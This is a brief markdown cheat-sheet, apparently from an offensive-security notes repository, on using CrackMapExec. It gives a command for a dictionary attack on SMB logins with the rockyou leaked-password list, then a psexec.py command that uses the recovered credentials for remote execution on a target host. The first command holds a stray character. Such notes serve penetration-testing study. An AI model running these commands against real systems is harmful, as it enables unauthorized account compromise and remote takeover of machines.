killchain-compendium/crackmapexec.md

290 B

Crackmapexec

  • Dictionary attack against SMB
cme smb domain.name -u <user> s -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
  • Use the password with impacket/examples/psexec.py in the following way
psexec.py domain.name/<user>:<password>@<target-IP>